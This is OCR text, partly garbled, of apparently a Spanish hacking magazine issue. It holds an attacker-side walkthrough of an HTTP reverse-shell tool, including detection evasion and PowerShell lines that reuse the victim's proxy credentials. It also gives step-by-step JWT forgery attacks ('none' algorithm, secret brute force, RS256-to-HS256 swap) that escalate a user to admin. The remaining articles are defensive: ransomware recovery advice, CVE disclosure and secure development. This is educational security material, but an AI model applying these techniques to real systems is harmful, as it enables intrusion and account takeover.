root root 10.6 KB
root root 34.3 KB
root root 1.8 KB
root root 26 B
root root 15.5 KB
root root

DownNLoAD

Directory:

download C:\Users\symantec\Desktop\temp\test.png test.png

& ~/HTTP-revshell
¥ root root 42 B
root roc 24 B
root t
root r
root
root
root
root at 12 1 206: :
root root 31.9 KB : (%]

Si queremos saber como se utiliza el server-multisession.py, podemos echarle un ojo al post darkbyte.net/jugando-con-
remote-shells-parte-i-http-revshell

Es importante destacar que si en algin momento por equivocacion se presionan las teclas Ctr/ + Cy el servidor se cierra,
el cliente intentara reconectarse indefinidamente (enviando paquetes SYN) hasta que el servidor vuelva a estar


https://github.com/Hackplayers/evil-winrm
https://github.com/Hackplayers/Salsa-tools
https://twitter.com/cybervaca_
https://darkbyte.net/jugando-con-remote-shells-parte-i-http-revshell/
https://darkbyte.net/jugando-con-remote-shells-parte-i-http-revshell/
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operativo. Nosotros como atacantes, solamente tenemos que volver a ejecutar el servidor para recuperar la conexion:

whoami
desktop-edbibuc\symantec

received, shutting down the web server

& ~/HTTP-revshell server,oy 192.168.224.130 88

TTF/5 REVSHELL

Sat Jun 27 14:43:80 2020 Server UP - 192.168.224.130:88

En la imagen anterior, podemos ver que se ha recibido un error debido a que la Ultima peticién que ha realizado el
cliente no ha sido satisfactoria ya que el servidor se encontraba caido, pero como se puede comprobar la conexiéon se
restablece y como si nada hubiera pasado.

Para cerrar completamente la sesién es necesario ejecutar el comando exit.

DESTRIPANDO LA HERRAMIENTA

Una de las cosas mas importantes a la hora de evadir una solucion de seguridad a nivel de red, es pasar desapercibido
para no ser detectado. En este caso, era muy importante que el trafico que generase la herramienta fuera lo mas
legitimo posible y evitase un flood innecesario de peticiones.

Si ponemos un Wiresharka la escucha, observaremos como se comporta la herramienta por debajo.
Lo primero que realiza el cliente cuando se conecta al servidor web es enviar una peticion al servidor para indicarle que
ha establecido sesién correctamente.

A
=i Destinabon Frotocol ength  Info

41 2F. 528187 192 _168.224.131 192,165, 224 136 HTTR 288 POST / HITP/1.1 (application/json)

Como se puede observar, el servidor no responde hasta que nosotros no escribamos un comando. Pero, lo mas
sorprendente y lo mas importante de cara a una posible deteccién por comportamiento a nivel de red, es que el cliente
no envia ninguna peticién mas hasta que el servidor no conteste.

En el caso de que escribamos un comando, como por ejemplo whoami, el servidor contesta a través de la

cabecera Authorization con el comando encodeado en base64:
d-. Naot LA 0] VMnet8

(3

Analyze Statistics Telephony Wireless Tools Help

- S . S
Fp
No T De: 2 Length b
127 224.131 192.168.224.130 HTTP 200 POST / HTTP/1.1 (application/json)
111 225 192.168.224.130 192.168.224.131 HTTP 170 HTTP/1.0 200 OK
21 22¢ 8.224.131 192.168.224.130 {rp 175 POST / HTTP/1.1 (application/json)

Frame 111: 17 s captured (1360 bits) on inter

Ethernet II, S : ), Dst: Vmware a3 (00:0c:29:05:da:a3)
Internet Pr¢ Version 4, Src: 19 68 4.13 Dst: 192.168.22

Transmission Control Protocol, Src Port: 88, Dst Port: 51368, Seq: 1, Ack: 487, Len: 116

v Hypertext Transfer Protocol
HTTP/1.© 208 OK\r\n
BaseHTTP/0.6 Python/3.8.3\r\n
E 27 Jun 2020 12:23:42 GMT\r\n
L»'.ut.'omzaticn: d2hvYWlp\rin

AT

Server:

Date:

[HTTP response

[
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Como se puede observar en la imagen anterior, rapidamente el cliente vuelve a enviar otra peticién web al servidor (No.
121) con la respuesta del comando que el servidor le ha enviado:

e
Mo, Time Saurce Desteation Protacol Length  Info
4127.528107 192.168.224.131 192.168.224.130 HTTP 200 POST / MTTP/1.1 (application/json)
111 225.477179 192.168.224,139 192.168,224.131 HITP 170 HTTP/1.0 200 0K
121 225.745018  192.168.224.131 192.168.224.130 NTTP. (spplication/json)

Internet Protocol Version 4, Src: 192.168.224.131, Dst: 192.168.224.138
Transmission Control Protocol, Src Port: 51302, Dst Port: 89, Seq: 261, Ack: 1, Len: 121
[2 Reassembled TCP Sepments (381 bytes): #119(268), #121(121)]
v Mypertext Transfer Protocol i
POST / HTTP/1.2\r\n .
User-Agent: Mozilla/5.@ (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.8.2784.103 Safari/537.36\r\n
Content-Type: application/json\r\n
Host: 192.168,224.130\r\n
Content-Length: 121\r\n
Expect: 108-continue\r\n
Connection: Keep-Alive\r\n
\r\n
[Eull request URL: http://192.168.224.130/]
[HTTP request 1/1]
File Data: 121 bytes
v JavaScript Object Notation: application/json
v Object
v Member Key: type
alue: COMMAND

~ Member Key: result
String value: [ZGVzadRvcC1176TXYnVIXHNSDRF LAGV30Q0= |

Key: result

v Mesber Key: pwd
String value: DQpDOIXVE2Vyc1xzeW1hbnR1Y1xE ZXNrdGIWOQoNC gOK
Key: pwd

Los datos como se puede observar son enviados utilizando JSON. El resultado es encodeado en base64 para facilitar la
transferencia. Ademas, se envia un parametro extra en cada peticion web llamado pwd el cual contiene el path donde
se encuentra en ese momento el cliente. De este modo, se controla en todo momento en qué carpeta del filesystem se
encuentra.

Por otro lado, si utilizamos una conexién a través de HTTPS, podemos observar como el trafico esta cifrado y no

podemos inspeccionarlo:
M Mare Notwork Adapier Vet

Ble  Ed istics  Telophcay  Wirekss Jook  Help
| et BB 45 A ] a1
R [ths &8 ((p e 192,168 224,130 A& B 4= 192008 7M,331) 1] [gwe == 192,168 724,131 AA ip ot §2.168,.224,10))

Lerggh
192.108.224.133 152,108,224 130

1LSvl.2 201 (lient Hello
92.108.224.131 1LSv1. 2 rver Hello, Certificate, Server Key Exchange, Server Hello Doss
168.224.138 Tisvl.2 t Key Exchange, Chang ncrypted Handshake Mes
168.224.131 TESV1.2 C crypted Handshake Mess<a
168 138 TESv1.2
168.224.138 TiSv1.2
168,224,131 TLSv1. 2
K 192,168, 224,138 TLSv1.2 61 (
192.168. 224,13 152.168,224.101 TLSv1.2 1o, Changs Cipher Spec, Encrypted Handshake Messope
192.168. 224,111 152.108. 224,130 TiSvl.2 ¢, Encrypted Handshoke Messoge, Application Deta
192.168.224.132 192.108.224.130 T 1.2

Para terminar, otra de las caracteristicas importantes de la herramienta es que el cliente se autoconfigura si detecta que
el equipo infectado utiliza un proxy para salir a Internet. Nosotros como atacantes no tenemos que conocer las
credenciales del usuario para obtener una conexion con el servidor.

Unicamente con las siguientes dos lineas de c6digo se consigue el objetivo:

[System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy ()

[System.Net.WebRequest] ::DefaultWebProxy.Credentials =
[System.Net.CredentialCache]::DefaultNetworkCredentials;



https://1.bp.blogspot.com/-oxLBy_3lAuA/XvjUanyYfII/AAAAAAAABCM/OF0R3ddJPyw4kIkQJbCzZKo41NvXu0PLACLcBGAsYHQ/s1600/revshell14.png

LA SOLUCION
CONTRA LOS
RANSOMWARES

MALWARE

Vamos a tocar un tema del cual se esta hablando mucho en la actualidad y son
los Ransomwares.

Un colega de UndercOde acudié a nosotros debido a un Ransomware entré en

una de las terminales de su empresa e infect6 al resto de las computadoras
conectadas a la red.

Escrito por: @ANTRAX | ADMINISTRADOR UNDERCODE
w Trabaja actualmente como QA en dos empresas de software, controlando la
calidad de los desarrollos que realizan, sometiéndolos a distintas pruebas,
‘y' como lo es la seguridad. Participa activamente en la comunidad de UndercOde
como administrador.
Disfruta investigar temas nuevos y redactar papers de lo que va aprendiendo para que
después mas gente pueda aprender de ellos.
Contacto:
underc0de.org/foro/profile/ANTRAX
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u
¢CIUE' €S UN RANSOMUWARE? i

Es un malware que infecta nuestra computadora y encripta los archivos con el
fin de pedir un rescate por ellos. Es decir, para poder volver a la normalidad a
dichos archivos, deberemos pagarle una suma de dinero al creador del
malware para que nos dé una KEY que revierta el dafio que hizo. Obviamente
esa suma de dinero suele ser muy alta, como en este caso un millén y medio
de dolares... Una locura ;no?

Wl

:

:

undercOde.org
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dQUé HACEMOS SI UN RANSOMWARE NNOS INFECTA?

Lo primero, es examinar que tipo de Ransomware es o como se llama. Hay movimientos anti-malwares que
crearon una especie de biblia con informacion sobre cada uno de ellos y sobre como desinfectarse o desencriptar
los archivos sin tener que pagar. Antes de pasar al archivo, cabe destacar que no estan las vacunas de TODOS los
ransomwares. Tengan en cuenta que hay muchos de ellos y cada dia aparecen nuevos. Pero en caso de ser
infectados por alguno viejo, aca encontraran la solucién.

Ransomware Overview

[ Ransomware | Unidentified Detection Prevention Infographica Download Sources and Contributors
Extension Pattern Ransom Mote Filename(s) Comment Encryption Also known as  Dale Decryptor Info 1
Algorithm AddedModified
.CryptoHasYou enc YOUR_FILES_ARE_LOCKED.tx AES(256) hitp:iwww nyeho
t
T NI .timestamp]_$[{email]$.7 read_this_file bd YOR Sevieg hitps:/idecrypter
e.g.._14-05-2016-11-50-2
R4A FILES_BACK bd Tevin-HONEST hitps:igithub.cor hitp:www nyxbo
R5A hittps:iwww.youts
7h .Thor README_.TXT AES hittp:ihwww nybo
Blocks READ_IThdt Based on HiddenTear AES(256) hitp:thwww.bleep
Alr ._AiraCropEncrypted How to decrypt your files bd related to TeamXRat hitps-itwitter con
Al-Namrood .unavailable Read_Me.Txt hitps:iidecrypter
.disappeared
Alc cker Alcatraz ransomed.himl hitps:fwitter.con
ALFA Ransomware .bin README HOW TO DECRYPT  Made by creators of hiip:iwww bleep
YOUR FILES.HTML Cerber
Alma Rans re random random(x5) Unlock_files_randomx5.html AES(128) hitpsiicta-sernvic hitps:iinfo.phish h
Alp omware .encrypt Read Me (How Decrypt) 1t AES(256) Alphalocker hitp:idownload ! hitp:iwww.bleep b
Alphabet Doesnt encrypt any files | hitps-itwitter con
provides you the key
AMBA .amba MNPOYTW_MEHHA. bt Websites only hitps-itwitter con
READ_ME b amba@riseup.net
Angela kel .angelamerkel hitps:itwittercon
An AngleWare READ_ME b hitps-itwitter con
An ck .adk Demands 10 BTC hiips-ffiwitter con
Anony Basedon htips:itwitter.con
HiddenTear
ngocanh
Anubis .coded Decryption Instructions. txt EDAZ2 AES(256) http:#inyxbone.co
Apocalypse .encrypted [filename] ID-*8characters * How_To_Decrypt bd decryptionsenice@mailr Fabiansomewar hitps/idecrvpter hitp:iblog emsis

Documento completo:
docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIMQOYOHvmc5g/

rRecomendaciones

A continuacion, daremos una serie de recomendaciones que son fundamentales para afrontar este tipo de
problemas.

e Punto 1: <<BACKUPS!!>> Todos pensaran: ;En serio? si, es en serio... parece tedioso y perdida de
tiempo, pero créanlo o no es sumamente importante.

e Punto 2: Desactivar el servicio SMBv1.

e Punto 3: Instalar los ultimos parches de seguridad de Microsoft, en especial el siguiente: MS17-010.

e Punto 4: Asegurarse de tener un buen Antivirus. Si bien sabemos que no nos salvaran del 100% de los
malwares, pero si de la gran mayoria.

e Punto 5: Revisar bien |lo que se ejecuta en la PC. Es decir, no aceptar archivos de gente que no
conocemos, 0 que sea enviado por redes sociales, mail, etc. (un punto obvio... Pero la ingenieria social
esta a la orden del dia).

NOTA: El punto 2 y 3 ayudan a que el ransomware no se propague
por nuestra red e infecte a todas las computadoras conectadas


https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/
https://support.microsoft.com/es-ar/help/4013389/title

CVE - REPORTAR

VULNERABILIDADES

DE PRODUCTQOS

CVE, por sus siglas en inglés Common Vulnerabilities and Exposures, hace
referencia a una lista de informacion registrada sobre vulnerabilidades de
seguridad informatica. Cada una de las vulnerabilidades son publicas, es decir, el
investigador de seguridad que la reportd, decidié reportar la falla, dandola a

conocer al mundo, no solo quedarsela y que la supiera solo el (0-day).

Escrito por: @MORTAL_POISON EN COLABORACION CON UNDERCODE
Fundador de Xecure-Labs, Consultor de seguridad, profesor & desarrollador.
;@ Ha logrado reportar vulnerabilidades a empresas como Facebook, Google, Harvard
University, La NASA, Bigpoint, Endian Firewall, Ekkoparty, Blizzard, OVH, CNN,
Unikrn, Kiuwan, Steam, entre otras grandes empresas. Ha reportado 2 CVEs y
publicadas en CVE MITRE.
Ponente de eventos como Dragonjar Security Conference[2016], BsidesCO[2017], Barcamp
Security, FliSol, entre otros. Instructor de Cybrary, Participante eventual de programas de Bug
Bounty en plataformas como HackerOne, VulnScope y YesWeHack.

MERTHL _PRISEMN

Contacto:
undercOde.org/foro/profile/mortal_poison
Redes sociales:

YouTube: www.youtube.com/XecureLabs

e forma légica, un CVE fue un 0-day en el momento que lo descubri6 el
investigador de seguridad. Las autoridades de numeracién de CVE (CNA) son las
encargadas de asignar los numeros de identificacién de CVE. Hay alrededor de 100
CNA que representan a los principales proveedores de tecnologia, asi como a las
empresas de seguridad y de investigacién; y MITRE3 también puede emitir CVE
directamente.

3 https://cve.mitre.org/cve/request_id.html#cna_participants
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https://cve.mitre.org/cve/request_id.html#cna_participants
http://www.youtube.com/XecureLabs
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HACER UN REPORTE DE UNA YULNERABILIDAD
SOBRE UN PRODUCTO QUE IO €STA €N €L CnA

Se deben seguir los siguientes pasos:
1) Asegurarse que no existe la vulnerabilidad con asignacion de CVE anteriormente. Para esto, es necesario realizar
la busqueda del producto y versién y revisar qué vulnerabilidades tienen CVE.

2) Es necesario enviar la vulnerabilidad a MITRE por medio del CVEFORM que nos proporcionan en el siguiente
enlace: https://cveform.mitre.org/

Se debe comprobar el primer punto para realizar una divulgacién responsable. Esto significa, que, al descubrir la
vulnerabilidad, debe reportarse en la medida de lo posible, de forma inmediata al fabricante o proveedor
del producto. Esto es indispensable para MITRE y también es importante para evitarse problemas mas adelante.

<COMO LOGRARLO?

Se puede verificar si el producto tiene un correo de contacto, ya sea en su pagina web o el formulario de contacto.
Ademas de esto, también se puede revisar si esta un correo publico de seguridad. Existe un coordinador third-
party que nos ofrece el CERT, el cual puede hacer de coordinador y/o medio para realizar el contacto con la
empresa: https://vulcoord.cert.org/VulReport/

En este proceso, es preciso mantener la confidencialidad. En muchos casos, el fabricante no suele responder a
ninguno de los correos, asi, que, el investigador de seguridad puede realizar la divulgacion por medio de MITRE
argumentando la situacion y mostrando evidencia de la negligencia por parte del fabricante.

El formulario enviado para la asignacion de un CVE, se debe enviar la siguiente informacion requerida y, por ende,
obligatoria:

e Tipo de solicitud (para asignacion de CVE, este caso).

e Correo electronico del investigador de seguridad.

e Elnumero de CVE IDs(cuantos CVEs se quieren solicitar) que se desean solicitar.

e Eltipo de vulnerabilidad para cada CVE solicitado.

e Elfabricante afectado para cada vulnerabilidad.

e El producto y versiones afectadas para cada vulnerabilidad.

e Opcional: pequefio PoC (Prueba de Concepto) de la vulnerabilidad.

NOTA: En lo personal, envio un pequerio PoC para
agilizar el proceso, pero puede no ser necesaria.

From: CVE Request <CVE-Reguest@mitre.org> ¥ & 01/10/2019 (9 months ago) ¥¥

To: Mortal_Poison@protonmail.com

3) Una vez enviados los datos en el

[ [@ [ J[a]w]~]-

formulario, sera notificado en nuestro
ye . o e by a CVE Assignment Team member.
correo electrénico que han recibido la

g directly to this email.

solicitud.

A mmunications at
http://cve.mitre.org/cve/request id.html]

iI: MCID476261@



https://cveform.mitre.org/
https://vulcoord.cert.org/VulReport/
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Ellos se encargan de revisar la

.. aNq Use CVE-2819-17176.
solicitud y en caso de no recibir una

asignacién de CVE o ninguna _
o . s . CVE Assignment Team
notificacion, es posible responder a M/S M38@, 202 Burlington Road, Bedford, MA 81738 USA
[ A PGP key is available for encrypted communications at

ese correo electronico que ha http://cve.mitre.org/cve/request_id.html ]

recibido para preguntar.

<CUANDO PUBLICARAN EL CUE?

Lo publicaran cuando el investigador lo decida, es libre de publicarlo mafiana o en 10 afios. El investigador de seguridad
decidira la fecha. Finalmente, se menciona que se debe realizar un post para explicar el fallo de seguridad y anclarlo al
CVE ID. Esto, es posible hacerlo desde el Twitter, pagina web personal o en caso de no tener ninguno de los anteriores,
hacerlo por medio de https://gist.github.com/

Una vez se tenga el post (lo mas recomendable es que sea privado, al menos hasta que se publique el CVE), se debe
responder el correo electrénico con el enlace del post:

Hi, I'd like you to check it and tell me if it's ready to be published. Thank you very much.

https://gist.github.com/MortalP@ison/2225f10abd173548c884ccc2ach2a3og

Y quedara el CVE publicado, con indexaciones luego de un tiempo en el NIST (National Vulnerability Database), Incibe,
Tenable, entre otros.

Go gle CVE-2019-17176 X & Q

€ Todo [E Moticias = Imdgenes @ Maps [J Videos i Més Preferencias Herramientas

Cerca de 7.270 resulta

(0,32 segundos)

Sugerencia: Buscar solo resultados en espafiol. Puedes especificar el idioma de blisgueda en
Preferencias.

nvd.nist. gov > vuln » detail » CVE-2018-17176 ~ Traducir esta pagina
CVE-2019-17176 - NVD

11 oct. 2019 - CVE-2018-17176 Detail. Current Description. Genesys PureEngage Digital (
eServices) 8.1.x allows XSS via HimIChatPanel.jsp or ...

&¢ cve mitre.org » cgi-bin > cvename » name=CVE-_. ~ Traducir esta pagina
CVE-2019-17176 - CVE

Common Vulnerabilities and Exposures (CVE®) is a list of entries — each containing an
identification number, a description, and at least one public reference .

% www.incibe-cert.es > alerta-temprana » vulnerabilidades » cve-2019-1... v

CVE-2019-17176 | INCIBE-CERT
11 oct 2019 - Vulnerabilidad en el archivo HtmiChatPanel jsp o HimIChatFrameSet jsp en
Genesys PureEngage Digital (CVE-2019-17176). Tipo:.

wwiw.tenable.com > cve » CVE-2019-17176 ~ Traducir esta pagina

CVE-2019-17176 | Tenable®
11 oct. 2019 - Genesys PureEngage Digital (eServices) 8.1.x allows XSS via HtmIChatPanel jsp
or HtmIChatFrameSet jsp (ActionCalor,

@ security-tracker.debian.org » tracker >» CVE-2019... - Traducir esta pagina
CVE-2019-17176 - Debian security tracker

Name, CVE-2019-17176. Description, Genesys PureEngage Digital (eServices) 8.1.x allows
XS5 via HtmIChatPanel jsp or HimIChatFrameSet jsp (ActionColor,

vuldb.com »
Genesys PureEngage Digital 8.1.x HtmIChatPanel jsp ... - VulDB

La vulnerabilidad fue publicada el 2019-10-11 (no esta definido). La vulnerabilidad es
identificada como CVE-2019-17176. El alague se puede hacer desde la ...



https://gist.github.com/
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BE e

Data Feeds Request CVE IDs Update a CVE Entry

TOTAL CVE Entries: 138129

Printer-Friendly View

CVE-2019-17176 Learn more at National Vulnerability Database (NVD)

« CVSS Severity Rating » Fix Information » Vulnerable Software Versions » SCAP Mappings « CPE Information

erences are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete

« MISC: https://gist.github.com/MortalP0ison/5{d584b4cBSfal3281fdco 189134461

Disclaimer: The entry_creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discoverad, shared with the affected vendor, publicly disclosed, or
updated In CVE.

Phase (Legacy)
Assigned (20191004)

This Is an entry on the CVE List, which provides common identifiers for publicly known cybersecurity vulnerabllities.

SEARCH CVE USING KEYWORDS: Submit
You can also search by reference using the CVE Reference Maps.

For More Information: CVE Request Web Form (select “Other” from dropdown)

AcLArRACION

La secuencia de pasos también los envia equipo de MITRE en un documento denominado “Draft CVE ID
Request Guidelines”, el cual proporciona los lineamientos descritos anteriormente con mayor detalle.

Finalmente, es importante mencionar que contribuir con reportar este tipo de vulnerabilidades a nivel
mundial, hace que internet sea mas seguro.

En muchos casos, hay consultores que no le ven relevancia a los investigadores que publican CVEs, pero a
opinién propia, es una accion altruista que merece la pena en caso de que los escenarios se den. Lo anterior,
es relativo y por eso se mencioné la delicadeza de hacer un fallo publico, por tanto, se debe analizar el
entorno y los factores que pueden influir en la publicacion del fallo (cliente, software privado/publico,
versionamiento del mismo, entre otros).




ATACANDQO J50N
WEB TOKEN

El uso de JSON Web Token o JWT se ha popularizado como medio para transmitir
informacion o para token de sesién en aplicaciones web. Cuando un JWT no es
correctamente configurado le permite a un atacante escalar privilegios ya sea
horizontalmente y tomar la identidad de otro usuario o verticalmente y convertirse en
administrador.

Escrito por: @ONSEC01 | USER UNDERCODE

Profesional en el area de seguridad de la informacién con experiencia en
firewalls, Windows AD, Linux, programacién de scripts en bash and Python.
Penetration tester para aplicaciones web e infraestructura. Certificado en CISSP,
OSCP, OSWP, CCNA, MCSA, ITILv3

Contacto:
underc0de.org/foro/profile/onsec01

| articulo detalla tres ataques comunes contra JWT y referencia scripts para
automatizar estos ataques.

PENTESTING
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ATACANDO JsOn weB TOREN

JSON Web Tokens proporciona un medio para transmitir datos entre distintas partes usando un objeto JSON.
La informacién contenida en un JWT puede ser firmada digitalmente lo que permite verificar su integridad y
autenticidad (esta ultima cuando se utiliza claves publica y privada). Aunque no se trata en este articulo, JWT
también ofrece confidencialidad cuando se encriptan por medio de JSON Web Encryption.

ESTRUCTURA DE JWT

Un JWT esta compuesto de 3 partes: la cabecera, la carga y la firma.

Cabecera (header): usualmente consiste de dos secciones, el tipo de tokeny el algoritmo usado para firmar
el token.

ejemplo:
{Iltypll : IIJwTII, Ilalgll : "H5256"}

Carga (payload): Contiene los "claims" que son sentencias acerca de una entidad que podria ser una cuenta
de usuario y datos adicionales acerca de esa entidad como nombre y tipo de usuario, fecha de emision y
expiracion del token entre otros. Existen 3 tipos de claims: registrados, publicos y privados.

¢ Registrados: Grupo predefinido de "claims" que, aunque no obligatorios, su uso es recomendado.
Ejemplos: "iss", "sub", "iat", "aud", etcétera.

e Publicos: "claims" comunmente usados con JWT y que deberian ser definidos en el registro JANA JSON
Web Token para evitar colisiones.

¢ Privados: "claims" personalizados para transmitir datos que son especificos al uso particular de un JWT.

ejemplo:
{"sub":"96521475", "iat":"1593265755", "exp":"1593269355", "name":"Jose", "rol":"usuer"}

Firma (signature): La firma es creada usando la cabecera, la carga, el algoritmo definido en la cabecera y una
clave secreta. La cabeceray la carga deben ser codificadas en base 64 y unidas por un punto antes de ser firmadas.

Una representacion de la firma seria:
Firma = algoritmo(base64(cabecera) + "." + base64(carga), clave_secreta)

ejemplo completo de un swT

Cabecera = {"alg":"HS256","typ":"JWT"}
Carga = {"sub": "125","name": "Jose","rol": "user"
Clave secreta = oloijhp

Firma = HS256(base64UrlEncode({"alg": "HS256", "typ":"IWT"}) + "." + base64UrlEncode({"sub":

"125", "name": "Jose","rol": "user"}), "oloijhp")
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El siguiente paso consiste en codificar con base 64 tanto la cabecera, la carga y la firma para luego crear una
cadena separada con puntos como los siguiente:

base64UrlEncode(cabecera) + + base64UrlEncode(carga) + "." + base64UrlEncode(firma)

El JWT resultado de este ejemplo seria:
eyJhbGciOiJIUzIINiIsInR5cCI6IkpXVCI9.eylzdWIiOiIXxMjUiLCIJuYW11IjoiSm9zZSIsInJvbCI6InVZzZXIifQ
.334Q72hjFG9UVCMsme7vY57QQ8ZhK5L30PPCcHY -Qno

ATAQUES CONMUNES CONTRA JWT

Continuando con el mismo token del ejemplo anterior, imagine que Jose (con permisos de usuario comun)
inicia sesion en una aplicacion web. El servidor web devuelve la siguiente cookie como token de sesion.

eyJhbGci0iJIUzIINiIsInR5cCI6IkpXVCI9.eylzdWIiOiIxMjUiLCIJuYW11IjoiSm9zZSIsInJvbCI6InVzZXIi
Q.334Q72hjFG9UVCMsme7vY57QQ8ZhK5L30PPCcHY -Qno

Si el servidor web no es configurado correctamente los siguientes ataques podrian facilitar el usuario Jose
elevar sus privilegios de usuario a privilegios de administrador en la aplicacion web.

Scripts en Python para cada uno de estos ataques y ejemplos de como usarlos pueden ser descargados en:
Source: github.com/onsecru/jwt-attacks

€L ALGORITMO "nnone"

El "none" algoritmo fue creado para aquellas situaciones donde la integridad del JWT ya ha sido verificada.

Para ejecutar este ataque siga los siguientes pasos.
e Decodificar la cabecera del token

eyJhbGci0iJIUZzIINiIsInR5cCI6IkpXVCI9 = {"alg": "HS256","typ": "IWT"}
e Modificar el tipo de algoritmo a None (algunas librerias también aceptan NOne, none, nOne) y codifique
la nueva cabecera usando base 64.

{"alg": "None","typ": "IWT"} = eyJhbGciOiJIUzI1INiIsInR5cCI6Ik5vbmUifQ
e Remplace el valor del c/aimrol con "admin" en la carga del JWT y codifique la nueva carga usando base
64

{"sub": "125","name": "Jose","rol": "admin"} =
eyJzdWIiOiIXxMjUiLCJuYW11IjoiSm9zZSIsInJvbCI6ImFkbWluIn®
e Remplazar la cabecera, cargar anteriores con la cabecera, cargar nuevas y eliminar la firma del token.

eyJhbGci0iJIUzIINiIsInR5cCI6Ik5vbmUifQ.
eyJzdWIiOiIXxMjUiLCIJuYW11IjoiSm9zZSIsInJvbCI6ImFkbWluIn®.

e Remplazar el JWT enviado por el servidor web con el nuevo JWT.


https://github.com/onsecru/jwt-attacks
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ATAQUE DE FUER2A BRUTA A LA CLAVE SECRETA DEL JWT

Tanto la cabecera, como la carga y el algoritmo usado para firmar el JWT son conocidos; por lo tanto, si un
algoritmo de clave simétrica es usado y si la clave secreta es débil un ataque de fuerza bruta similar a los
usados para adivinar contrasefias puede ser lanzado sobre el JWT. Una vez la clave ha sido encontrada, el
JWT puede ser modificado a placer y usado para violar la seguridad de la aplicacién web.

ejemplo:
IWT =
eyJhbGciOiJIUzIINiISsInR5cCI6IkpXVCI9.eylzdWIiOiIXxMjUiLCIJuYW11IjoiSm9zZSIsInJvbCI6INVZzZXIifQ
.334Q72hjFG9UVCMsme7vY57QQ8ZhK5L30PPCcHY -Qno

e La cabecera del JWT indica el tipo de algoritmo a utilizar

eyJhbGci0iJIUzIINiIsInR5cCI6IkpXVCI9 = {"alg": "HS256","typ": "IWT"}
e Como se explica en la seccion Estructura de JWT del presente articulo, la firma del JWT es

Firma = algoritmo(base64(cabecera) + + base64(carga), clave_secreta)

En el JWT de ejemplo seria:
Firma = HS256(eyJhbGciOiJIUzI1INiIsInR5cCI6IkpXVCI9+ "." +
eyJzdWIiOiIXxMjUiLCIJuYW11IjoiSm9zZSIsInJvbCI6InVzZXIifQ, clave_secreta)

Remplazar la clave_secreta por cualquiera otra y calcular una nueva firma, cuando ambas firmas son
iguales la clave_secreta ha sido adivinada.

INTERCAMBIO DE RSA (CLAVE PUBLICACPRIVADA) POR HMAC (CLAVE
SECRETRA)

Cuando un JWT es firmado usando un algoritmo de clave publica/privada como RS256 y ES256. El servidor
web utiliza la clave privada para firmar el JWT y la clave publica para verificar que el JWT no ha sido modificado.
Un atacante podria, cambiar el algoritmo en la cabecera del JWT por un algoritmo simétrico como HS256,
firmar el JWT utilizando la clave publica que corresponde a la clave privada usada para firmar el JWT original
y reenviar el JWT al servidor web que utilizaria la clave publica para validar el JWT.

ejemplo:
e Remplazar el algoritmo en la cabecera del JWT a HS256.

{Ilalgll: llRstGll,lltypll: IIJWTII} => {llalgll: llestll,lltypll: IIJwTII}
e Firme el JWT usando la clave publica

Firma = HS256(base64(cabecera) + "." + base64(carga), clave_publica)

e Enviar el nuevo JWT al servidor web.




DESARROLLO DE

SOFTWARE SEGURQO

La seguridad informatica se ha convertido en una parte esencial de las empresas,
especialmente las empresas que se dedican al desarrollo de software, la razén detras
de esto son las amenazas constantes por entes externos como los hackers que
intentan robar la informacién o los activos digitales. Las empresas deben mantenery
resguardar su informacién aplicando controles de seguridad, de lo contrario esto
puede resultar en pérdidas financieras, afectacion en la continuidad del negocio, fuga
de informacién, dafios a la reputacién de la empresa, transacciones fraudulentas o
inclusive el cierre de la empresa por completo.

Escrito por: @ISRAEL_ABARCA EN COLABORACION CON UNDERCODE
Arquitecto de Seguridad de Aplicaciones y Desarrollador de Software Sr.
Auditor de seguridad en aplicaciones nube y escritorio, con conocimientos en las
tecnologias de Blockchain publicas y privadas, desarrollador de contratos
inteligentes en la red Hyperledger Fabric, Certificado con EC-Council como
Ingeniero en Seguridad de aplicaciones.
Contacto:
www.prometheodevs.com

a seguridad informatica no solo aplica para el software, una empresa debe ser
consiente que la seguridad se compone desde la parte fisica como las
instalaciones, equipos de computo, los mismos trabajadores, asi como la parte
de infraestructura y redes. En este articulo nos enfocaremos en la seguridad
del software, sin embargo, es importante recalcar que no es suficiente aplicar
solamente seguridad en las aplicaciones. Para tener seguridad integral y
completa es necesario asegurar todas las partes de la solucién.
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En esta edicion dedicaremos a las ultimas cuatro etapas de la metodologia de desarrollo de software seguro.

Si recordamos, en las dos series pasadas revisamos las primeras etapas que son entrenamiento, requisitos y
disefio, en las cuales explicamos la importancia de tener una serie de entrenamientos de seguridad para los
participantes del proyecto de software, también revisamos los requisitos de seguridad y algunas técnicas para
disefiar modelados de amenazas que se emplean a raiz de los requisitos de seguridad.

IMPLEMENTACION

En la tapa de implementacién se deben de cumplir tres tareas importantes, en este punto de la metodologia se
debe tener la mayoria del desarrollo codificado y funcional. La primera tarea de esta etapa es la revision de
herramientas a utilizar para las pruebas de seguridad. Existen dos vertientes, las herramientas que se encargan
de las pruebas de cédigo estatico y las de cédigo dinamico que es cuando la aplicacion desarrollada esta en
ejecucion. En este punto se debe decidir si se utilizaran herramientas de paga o c6digo abierto, cada una de ellas
tiene sus ventajas y desventajas y depende de la experiencia de quien realizara las pruebas de penetracién y
recursos disponibles decidir la mejor opcién.

Las siguientes dos tareas van de la mano, y es el analisis del c6digo estatico y revisién de funciones obsoletas. El
analisis de codigo estatico nos puede ayudar a identificar las funciones obsoletas y no solo eso, las herramientas
pueden identificar fallas en el c6digo relevantes que de no ser remediadas pueden ser un vector de ataque en
produccion. Ademas de utilizar herramientas para esta tarea, es importante llevar una revision de c6digo al menos
entre colegas, ya que conseguir un experto que revise miles de lineas de c6digo de un lenguaje en especifico puede
ser gran un reto.

A partir de esta fase es donde empezamos a implementar las medias de seguridad en la solucién, es esencial que
los requerimientos sean tomados en cuenta en esta fase, y si los desarrolladores tienen dudas sobre cémo
implementar algun requerimiento se lo hagan saber a los arquitectos de la aplicacion y seguridad, ellos deben
apoyar en el entendimiento para que no existan omisiones ni malos entendidos.

COMPROBACION

En esta fase de comprobacion, como su nombre lo indica es donde se busca comprobar que todos los
